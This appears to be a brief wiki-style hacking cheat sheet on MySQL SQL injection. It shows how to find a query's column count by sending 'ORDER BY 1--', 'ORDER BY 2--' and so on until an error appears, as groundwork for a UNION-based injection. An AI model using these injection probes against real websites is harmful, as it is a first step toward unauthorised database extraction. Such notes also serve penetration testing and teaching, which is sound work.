====== Hacking - SQL Injection - MySQL - Find Columns Names ======

Finding how many columns:

<code sql>
SELECT query by ORDER BY
</code>

Finding column number by **ORDER BY** can speed up the **UNION** SQL Injection process.

<code sql>
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- so on
</code>

Keep going until get an error.

Error means you found the number of selected columns.
